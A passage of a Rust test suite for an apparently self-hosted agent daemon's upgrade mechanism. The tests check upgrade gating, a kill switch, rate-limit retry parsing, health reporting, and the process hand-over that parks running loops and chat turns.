21621 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21622 last_known_latest: None,
21623 last_known_url: None,
21624 };
21625 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21626
21627 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21628 assert!(
21629 !update_recheck_due(&checker, None),
21630 "a check made moments ago must not be repeated before the \
21631 configured interval elapses"
21632 );
21633 }
21634
21635 #[test]
21641 fn recheck_defers_to_an_upgrade_already_in_flight() {
21642 let dir = TempDir::new().expect("temp dir");
21643 let path = dir.path().join("state.json");
21644 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21645 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21646
21647 assert!(
21648 !update_recheck_due(&checker, Some(&progress)),
21649 "a recheck must not run while an upgrade this deck started is \
21650 still moving"
21651 );
21652 }
21653
21654 #[tokio::test]
21655 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21656 unsafe {
21668 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21669 }
21670 let fx = Fixture::start().await;
21671 let res = fx.post("/api/upgrade", None).await;
21672 unsafe {
21673 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21674 }
21675 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21676 let body = res.json();
21677 assert!(body["to"].is_null(), "there was no release to move to");
21678 assert!(body["parked"].is_null(), "and nothing was parked");
21679 assert!(
21680 body["detail"]
21681 .as_str()
21682 .unwrap()
21683 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21684 "{body:?}"
21685 );
21686 }
21687
21688 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21689 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21690 p.stage = stage;
21691 p
21692 }
21693
21694 #[test]
21695 fn busy_stages_match_the_ui_set() {
21696 use crate::updater::Stage;
21697 assert!(APP_JS.contains(
21698 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21699 ));
21700 for s in [
21701 Stage::Downloading,
21702 Stage::Replaced,
21703 Stage::Parking,
21704 Stage::Restarting,
21705 ] {
21706 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21707 }
21708 for s in [Stage::Done, Stage::Failed] {
21709 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21710 }
21711 assert!(upgrade_in_motion(None).is_none());
21712 }
21713
21714 #[tokio::test]
21715 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21716 use crate::updater::Stage;
21717 for stage in [
21718 Stage::Downloading,
21719 Stage::Replaced,
21720 Stage::Parking,
21721 Stage::Restarting,
21722 ] {
21723 let fx = Fixture::start().await;
21724 let seeded = seeded_progress(stage);
21725 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21726 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21727 .expect("read");
21728
21729 let res = fx.post("/api/upgrade", None).await;
21730 assert_eq!(res.status, 409, "{stage:?}");
21731 let err = res.json()["error"].as_str().unwrap().to_owned();
21732 assert!(err.contains("already in progress"), "{err}");
21733 assert!(err.contains(stage.as_str()), "{err}");
21734
21735 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21736 .expect("read");
21737 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21738 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21739 .unwrap_or_default();
21740 assert!(!log.contains("signalling HANDOVER"), "{log}");
21741 }
21742 }
21743
21744 #[test]
21745 fn upgrade_retry_timing_only_parses_known_diagnostics() {
21746 assert_eq!(
21747 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21748 Some(3723)
21749 );
21750 assert_eq!(
21751 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21752 Some(60)
21753 );
21754 assert_eq!(
21755 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21756 Some(0)
21757 );
21758 for message in [
21759 "permission denied",
21760 "GitHub API rate limit exceeded",
21761 "GitHub rate limit (resets in unknown)",
21762 "GitHub rate limit (resets in 18446744073709551615d)",
21763 ] {
21764 assert_eq!(upgrade_retry_after(message), None, "{message}");
21765 }
21766 }
21767
21768 #[tokio::test]
21769 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21770 let home = TempDir::new().unwrap();
21771 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21772 ui.start_loop(None).unwrap();
21773 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21774 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21775 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21776 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21777 let response = finish_upgrade_request(&ui, result);
21778 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21779 assert_eq!(response.headers()["retry-after"], "120");
21780 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21781 .await
21782 .unwrap();
21783 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21784 assert!(body["error"].as_str().unwrap().contains(reason));
21785 assert_eq!(body["retry_after_secs"], 120);
21786 assert!(body["retry_at"].as_u64().is_some());
21787 for _ in 0..2 {
21788 let view = health(State(ui.clone())).await.unwrap().0;
21789 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21790 assert_eq!(failure, body);
21791 }
21792 assert_eq!(
21793 std::fs::read(updater::progress_path(home.path())).unwrap(),
21794 before
21795 );
21796 assert!(!ui.lock_loop().resume_after_handover);
21797 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21798 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21799 let gate = ui.upgrade_gate.lock().await;
21801 assert_eq!(
21802 upgrade_post(State(ui.clone())).await.status(),
21803 StatusCode::CONFLICT
21804 );
21805 drop(gate);
21806 assert!(
21807 health(State(ui.clone()))
21808 .await
21809 .unwrap()
21810 .0
21811 .upgrade_request_error
21812 .is_some()
21813 );
21814 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21815 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21816 assert!(
21817 health(State(ui.clone()))
21818 .await
21819 .unwrap()
21820 .0
21821 .upgrade_request_error
21822 .is_none()
21823 );
21824 let live = ui.lock_loop().live.take().unwrap();
21825 live.stop.stop();
21826 live.handle.await.unwrap();
21827 }
21828
21829 #[tokio::test]
21830 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21831 use crate::updater::Stage;
21832 let repo = TempDir::new().expect("repo dir");
21833 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21834 .expect("write magi.toml");
21835 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21836 for stage in [Stage::Done, Stage::Failed] {
21837 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21838 let res = fx.post("/api/upgrade", None).await;
21839 assert_eq!(res.status, 200, "{stage:?}");
21840 }
21841 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21843 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21844 }
21845
21846 #[tokio::test]
21847 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21848 let repo = TempDir::new().expect("repo dir");
21864 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21865 .expect("write magi.toml");
21866 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21867
21868 let res = fx.post("/api/upgrade", None).await;
21874 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21875 let body = res.json();
21876 assert!(body["to"].is_null(), "there was no release to move to");
21877 assert!(body["parked"].is_null(), "and nothing was parked");
21878 assert!(
21879 body["detail"]
21880 .as_str()
21881 .unwrap()
21882 .contains("nothing restarted"),
21883 "{body:?}"
21884 );
21885 }
21886
21887 #[tokio::test]
21888 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21889 let repo = TempDir::new().expect("repo dir");
21894 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21895 .expect("write magi.toml");
21896 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21897
21898 let health = fx.get("/api/health").await.json();
21899 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21900 assert_eq!(
21901 health["update"]["available"], false,
21902 "checking is off, which reads as \"unknown\", not \"none\""
21903 );
21904 assert!(health["update"]["to"].is_null());
21905 assert!(
21906 health["upgrade"].is_null(),
21907 "nothing has ever asked this deck to upgrade"
21908 );
21909 }
21910
21911 #[tokio::test]
21912 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21913 let fx = Fixture::start().await;
21914 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21915
21916 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21917 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21918 progress.advance(crate::updater::Stage::Parking);
21919 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21920
21921 let health = fx.get("/api/health").await.json();
21922 assert_eq!(health["upgrade"]["stage"], "parking");
21923 assert_eq!(health["upgrade"]["from"], "0.5.1");
21924 assert_eq!(health["upgrade"]["to"], "0.5.2");
21925 let waiting_on = health["upgrade"]["waiting_on"]
21926 .as_str()
21927 .expect("waiting_on is set while parking a known run");
21928 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21929 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21930 }
21931
21932 #[tokio::test]
21933 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21934 let fx = Fixture::start().await;
21935 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21936 progress.advance(crate::updater::Stage::Done);
21937 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21938
21939 let health = fx.get("/api/health").await.json();
21940 assert_eq!(health["upgrade"]["stage"], "done");
21941 assert!(
21942 health["upgrade"]["waiting_on"].is_null(),
21943 "nothing to wait on once it is done"
21944 );
21945 }
21946
21947 #[tokio::test]
21948 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21949 let home = TempDir::new().expect("temp home");
21950 let runs = home.path().join("runs");
21951 std::fs::create_dir_all(&runs).expect("runs dir");
21952 let ui = Ui::new(
21953 Queue::at(home.path().join("queue")),
21954 Questions::at(home.path().join("questions")),
21955 Talks::at(home.path().join("talks")),
21956 runs,
21957 home.path().to_path_buf(),
21958 PathBuf::from("/repo/magi"),
21959 )
21960 .with_launch(launch_idle);
21961 let looping = ui.looping();
21962 let turns = ui.turns();
21963 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21964 .await
21965 .expect("bind loopback");
21966 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21967
21968 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21969 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21970
21971 hand_over(
21972 home.path(),
21973 &looping,
21974 &turns,
21975 &|_: &[String]| Duration::from_secs(5),
21976 served,
21977 |_| Ok(1),
21978 )
21979 .await
21980 .expect("hand over");
21981
21982 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21983 assert_eq!(
21984 after.stage,
21985 crate::updater::Stage::Restarting,
21986 "hand_over owns the record through parking and up to restarting; \
21987 the successor is what finishes it"
21988 );
21989 }
21990
21991 #[tokio::test]
21994 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21995 for fail in [false, true] {
21996 let home = TempDir::new().expect("temp home");
21997 let ui = idle_ui(&home);
21998 let looping = ui.looping();
21999 let turns = ui.turns();
22000 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22001 .await
22002 .expect("bind loopback");
22003 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22004 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22005 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22006
22007 let calls = std::sync::atomic::AtomicUsize::new(0);
22008 let outcome = hand_over(
22009 home.path(),
22010 &looping,
22011 &turns,
22012 &|_: &[String]| Duration::from_secs(5),
22013 served,
22014 |_| {
22015 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22016 if fail {
22017 anyhow::bail!("no exec")
22018 } else {
22019 Ok(4242)
22020 }
22021 },
22022 )
22023 .await;
22024 assert_eq!(outcome.is_err(), fail);
22025 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22026
22027 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22028 .expect("upgrade.log is written under the home");
22029 for step in [
22030 "entered",
22031 "finish_loop",
22032 "listener released",
22033 "starting the successor",
22034 ] {
22035 assert!(log.contains(step), "missing `{step}` in:\n{log}");
22036 }
22037 assert!(
22038 log.contains(if fail { "did not start" } else { "pid 4242" }),
22039 "{log}"
22040 );
22041 }
22042 }
22043
22044 #[tokio::test]
22047 async fn the_handover_signal_wakes_one_waiter_once() {
22048 let signal = Notify::new();
22049 signal.notify_one();
22051 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22052 .await
22053 .expect("an early signal is still seen");
22054 assert!(
22056 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22057 .await
22058 .is_err(),
22059 "a consumed signal must not wake a second time"
22060 );
22061 let signal = std::sync::Arc::new(signal);
22063 let waiter = tokio::spawn({
22064 let signal = std::sync::Arc::clone(&signal);
22065 async move { wait_for_handover(&signal).await }
22066 });
22067 tokio::time::sleep(Duration::from_millis(20)).await;
22068 assert!(!waiter.is_finished(), "nothing was signalled yet");
22069 signal.notify_one();
22070 tokio::time::timeout(Duration::from_secs(5), waiter)
22071 .await
22072 .expect("a late signal wakes the waiter")
22073 .expect("join");
22074 }
22075
22076 #[tokio::test]
22077 async fn health_says_how_long_a_handover_has_been_stuck() {
22078 let fx = Fixture::start().await;
22079 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22080 progress.advance(crate::updater::Stage::Replaced);
22081 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22082 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22083
22084 let health = fx.get("/api/health").await.json();
22085 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22086 assert!(stuck >= 600, "{stuck}");
22087 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22088 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22089 }
22090
22091 #[tokio::test]
22092 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22093 let home = tempfile::tempdir().expect("temp home");
22094 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22095 progress.advance(crate::updater::Stage::Parking);
22096 crate::updater::write_progress(home.path(), &progress).expect("seed");
22097 let mut again = progress.clone();
22099 again.advance(crate::updater::Stage::Replaced);
22100 crate::updater::write_progress(home.path(), &again).expect("replaced");
22101 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22102 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22103 let after = crate::updater::read_progress(home.path()).expect("record");
22104 assert_eq!(after.stage, crate::updater::Stage::Parking);
22105 }
22106
22107 #[tokio::test]
22108 async fn health_does_not_call_a_live_parking_wait_stuck() {
22109 let fx = Fixture::start().await;
22110 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22111 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22112 progress.advance(crate::updater::Stage::Parking);
22113 let hours = Duration::from_secs(3 * 3600);
22114 progress.started_at = Timestamp::now() - hours;
22115 progress.updated_at = Timestamp::now() - hours;
22116 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22117 let _lease = crate::updater::LeaseGuard::enter(
22118 fx.home.path(),
22119 Some("20260905-000000-cd51".to_owned()),
22120 );
22121
22122 let health = fx.get("/api/health").await.json();
22123 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22124 assert!(health["upgrade"]["stuck_kind"].is_null());
22125 assert_eq!(health["upgrade"]["handover_alive"], true);
22126 let waiting_on = health["upgrade"]["waiting_on"]
22127 .as_str()
22128 .expect("waiting_on");
22129 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22130 }
22131
22132 fn idle_ui(home: &TempDir) -> Ui {
22133 let runs = home.path().join("runs");
22134 std::fs::create_dir_all(&runs).expect("runs dir");
22135 Ui::new(
22136 Queue::at(home.path().join("queue")),
22137 Questions::at(home.path().join("questions")),
22138 Talks::at(home.path().join("talks")),
22139 runs,
22140 home.path().to_path_buf(),
22141 PathBuf::from("/repo/magi"),
22142 )
22143 .with_launch(launch_idle)
22144 }
22145
22146 async fn park_fixture(
22147 home: &TempDir,
22148 ) -> (
22149 Ui,
22150 Arc<Mutex<LoopState>>,
22151 Arc<Mutex<TalkTurns>>,
22152 tokio::task::JoinHandle<std::io::Result<()>>,
22153 ) {
22154 let ui = idle_ui(home);
22155 let looping = ui.looping();
22156 let turns = ui.turns();
22157 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22158 .await
22159 .expect("bind loopback");
22160 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22161 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22162 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22163 (ui, looping, turns, served)
22164 }
22165
22166 #[tokio::test]
22170 async fn hand_over_waits_for_a_running_chat_turn() {
22171 let home = TempDir::new().expect("temp home");
22172 let (ui, looping, turns, served) = park_fixture(&home).await;
22173 let ui = Arc::new(ui);
22174 let id = "20260901-000000-chat";
22175 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22176
22177 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22178 let handover = tokio::spawn({
22179 let home = home.path().to_path_buf();
22180 let turns = Arc::clone(&turns);
22181 let calls = Arc::clone(&calls);
22182 async move {
22183 hand_over(
22184 &home,
22185 &looping,
22186 &turns,
22187 &|_: &[String]| Duration::from_secs(60),
22188 served,
22189 move |_| {
22190 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22191 Ok(1)
22192 },
22193 )
22194 .await
22195 }
22196 });
22197
22198 let waiting = async {
22199 for _ in 0..200 {
22200 if crate::updater::read_progress(home.path())
22201 .is_some_and(|p| p.parked_talks == [id.to_owned()])
22202 {
22203 return;
22204 }
22205 tokio::time::sleep(Duration::from_millis(25)).await;
22206 }
22207 panic!("the park never named the chat turn");
22208 };
22209 waiting.await;
22210 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22211
22212 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22215 assert!(
22216 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22217 "a direct start says an upgrade is in progress"
22218 );
22219 assert!(
22220 ui.begin_queued_talk_turn("20260901-000000-late")
22221 .expect("queued claim")
22222 .is_none()
22223 );
22224 assert!(matches!(
22225 ui.begin_talk_turn_unless_pending("20260901-000000-late")
22226 .expect("start"),
22227 TalkTurnStart::Busy
22228 ));
22229 assert_eq!(turns.lock().unwrap().live.len(), 1);
22230
22231 let progress = crate::updater::read_progress(home.path()).expect("progress");
22233 let view = upgrade_progress_view(&ui, progress);
22234 assert!(
22235 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22236 "{:?}",
22237 view.waiting_on
22238 );
22239
22240 assert!(!handover.is_finished());
22241 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22242 drop(turn);
22243 handover.await.expect("join").expect("hand over");
22244 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22245 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22246 }
22247
22248 #[tokio::test]
22251 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22252 let home = TempDir::new().expect("temp home");
22253 let (ui, looping, turns, served) = park_fixture(&home).await;
22254 let ui = Arc::new(ui);
22255 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22257 lock_or_recover(&looping).live = Some(Live {
22258 stop: daemon::Stop::new(),
22259 handle: tokio::spawn(async move {
22260 let _ = loop_ended.await;
22261 }),
22262 opts: daemon::Opts::default(),
22263 });
22264
22265 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22266 let handover = tokio::spawn({
22267 let home = home.path().to_path_buf();
22268 let turns = Arc::clone(&turns);
22269 let calls = Arc::clone(&calls);
22270 async move {
22271 hand_over(
22272 &home,
22273 &looping,
22274 &turns,
22275 &|_: &[String]| Duration::from_secs(60),
22276 served,
22277 move |_| {
22278 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22279 Ok(1)
22280 },
22281 )
22282 .await
22283 }
22284 });
22285
22286 let reached = async {
22287 for _ in 0..200 {
22288 if crate::updater::read_progress(home.path())
22289 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22290 {
22291 return;
22292 }
22293 tokio::time::sleep(Duration::from_millis(25)).await;
22294 }
22295 panic!("the hand-over never reached parking");
22296 };
22297 reached.await;
22298
22299 assert!(!turns.lock().unwrap().parking);
22301 let turn = ui
22302 .begin_talk_turn("20260901-000000-chat")
22303 .expect("claim")
22304 .expect("a turn can start while the loop parks");
22305
22306 end_loop.send(()).expect("loop still waiting");
22308 for _ in 0..200 {
22309 if turns.lock().unwrap().parking {
22310 break;
22311 }
22312 tokio::time::sleep(Duration::from_millis(25)).await;
22313 }
22314 assert!(
22315 turns.lock().unwrap().parking,
22316 "closed once the loop is done"
22317 );
22318 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22319 assert!(
22320 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22321 "no turn starts once the loop is done"
22322 );
22323 assert!(
22324 ui.begin_queued_talk_turn("20260901-000000-late")
22325 .expect("queued claim")
22326 .is_none()
22327 );
22328 assert!(!handover.is_finished());
22329 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22330
22331 drop(turn);
22332 handover.await.expect("join").expect("hand over");
22333 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22334 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22335 }
22336
22337 #[tokio::test]
22340 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22341 let home = TempDir::new().expect("temp home");
22342 let (ui, looping, turns, served) = park_fixture(&home).await;
22343 let id = "20260901-000000-stuk";
22344 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22345
22346 let calls = std::sync::atomic::AtomicUsize::new(0);
22347 hand_over(
22348 home.path(),
22349 &looping,
22350 &turns,
22351 &|_: &[String]| Duration::from_millis(300),
22352 served,
22353 |_| {
22354 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22355 Ok(1)
22356 },
22357 )
22358 .await
22359 .expect("hand over");
22360 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22361
22362 let progress = crate::updater::read_progress(home.path()).expect("progress");
22363 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22364 assert!(
22365 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22366 "{:?}",
22367 progress.detail
22368 );
22369 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22370 assert!(
22371 log.contains("handing over anyway") && log.contains(id),
22372 "{log}"
22373 );
22374 }
22375
22376 #[tokio::test]
22379 async fn drain_loop_starts_no_turn_while_parking() {
22380 let tmp = TempDir::new().expect("tempdir");
22381 let repo = tmp.path().join("repo");
22382 std::fs::create_dir_all(&repo).expect("repo dir");
22383 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22384 let home = TempDir::new().expect("temp home");
22385 let talks = Talks::at(home.path().join("talks"));
22386 let ui = Ui::new(
22387 Queue::at(home.path().join("queue")),
22388 Questions::at(home.path().join("questions")),
22389 talks.clone(),
22390 home.path().join("runs"),
22391 home.path().to_path_buf(),
22392 repo.clone(),
22393 )
22394 .with_worktrees_root(home.path().join("wt"));
22395 let cfg = config_for(&repo).await.expect("discover config");
22396 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22397 let id = talk.id.clone();
22398 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22399 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22400 let turns = ui.turns();
22401 let parking = ParkingTurns::begin(&turns);
22402
22403 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22404
22405 assert!(
22406 turns.lock().unwrap().live.is_empty(),
22407 "the slot is given up"
22408 );
22409 let fresh = talks.get(&id).expect("talk");
22410 assert_eq!(fresh.pending, "later", "the draft is still queued");
22411 assert!(fresh.turns.is_empty(), "no turn ran");
22412 drop(parking);
22413 }
22414
22415 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22417 let looping = ui.looping();
22418 let turns = ui.turns();
22419 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22420 .await
22421 .expect("bind loopback");
22422 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22423 let told = std::sync::Mutex::new(None);
22424 hand_over(
22425 home.path(),
22426 &looping,
22427 &turns,
22428 &|_: &[String]| Duration::from_secs(5),
22429 served,
22430 |resume| {
22431 *told.lock().unwrap() = Some(resume);
22432 Ok(1)
22433 },
22434 )
22435 .await
22436 .expect("hand over");
22437 told.into_inner().unwrap().expect("successor was started")
22438 }
22439
22440 #[tokio::test]
22441 async fn a_running_loop_is_resumed_by_the_successor() {
22442 let home = TempDir::new().expect("temp home");
22443 let ui = idle_ui(&home);
22444 ui.start_loop(None).expect("start");
22445 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22446 for _ in 0..500 {
22448 if !ui.loop_view(None).running {
22449 break;
22450 }
22451 tokio::time::sleep(Duration::from_millis(2)).await;
22452 }
22453 assert!(handed_over(&home, ui).await, "a running loop must resume");
22454
22455 let successor = idle_ui(&home);
22456 assert!(!successor.loop_view(None).running);
22457 assert!(successor.resume_after_handover(true));
22458 assert!(successor.loop_view(None).running);
22459 successor.stop_loop(None, false).expect("stop");
22460 }
22461
22462 #[tokio::test]
22463 async fn a_second_upgrade_request_keeps_the_resume_intent() {
22464 let home = TempDir::new().expect("temp home");
22465 let ui = idle_ui(&home);
22466 ui.start_loop(None).expect("start");
22467 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22468 .expect("first park");
22469 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22470 .expect("second park");
22471 assert!(handed_over(&home, ui).await);
22472 }
22473
22474 #[tokio::test]
22475 async fn a_stop_during_the_handover_wait_is_honoured() {
22476 let home = TempDir::new().expect("temp home");
22477 let ui = idle_ui(&home);
22478 ui.start_loop(None).expect("start");
22479 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22480 ui.stop_loop(None, false).expect("stop");
22481 assert!(!handed_over(&home, ui).await);
22482 }
22483
22484 #[tokio::test]
22485 async fn an_idle_loop_stays_stopped_across_the_handover() {
22486 let home = TempDir::new().expect("temp home");
22487 let ui = idle_ui(&home);
22488 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22489 assert!(!handed_over(&home, ui).await);
22490
22491 let successor = idle_ui(&home);
22492 assert!(!successor.resume_after_handover(false));
22493 assert!(!successor.loop_view(None).running);
22494 }
22495
22496 #[tokio::test]
22497 async fn a_loop_the_operator_stopped_is_not_resumed() {
22498 let home = TempDir::new().expect("temp home");
22499 let ui = idle_ui(&home);
22500 ui.start_loop(None).expect("start");
22501 ui.stop_loop(None, false).expect("stop");
22502 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22503 assert!(!handed_over(&home, ui).await);
22504 }
22505
22506 #[test]
22507 fn only_an_explicit_one_requests_a_resume() {
22508 assert!(!resume_requested(None));
22509 assert!(!resume_requested(Some("0".into())));
22510 assert!(!resume_requested(Some("".into())));
22511 assert!(resume_requested(Some("1".into())));
22512 }
22513
22514 #[test]
22515 fn the_upgrade_button_arms_before_it_restarts_anything() {
22516 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22519 assert!(APP_JS.contains("Replace the binary and restart?"));
22520 assert!(APP_JS.contains("function confirmed("));
22521 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22526 assert!(
22530 APP_JS.contains("Parking, then restarting"),
22531 "the button says what it is waiting for"
22532 );
22533 assert!(APP_JS.contains("if (!out.to)"));
22536 }
22537
22538 #[test]
22539 fn stopping_the_loop_arms_but_starting_does_not() {
22540 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22543 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22544 assert!(APP_JS.contains("confirmed(button, question)"));
22545 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
22548 assert!(APP_JS.contains("const label = btn.textContent;"));
22549 assert!(!APP_JS.contains("Neither direction is guarded"));
22550 }
22551
22552 #[test]
22553 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22554 assert!(
22555 APP_JS.contains("state.health.version"),
22556 "the operator wants to know what is running even with nothing newer"
22557 );
22558 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
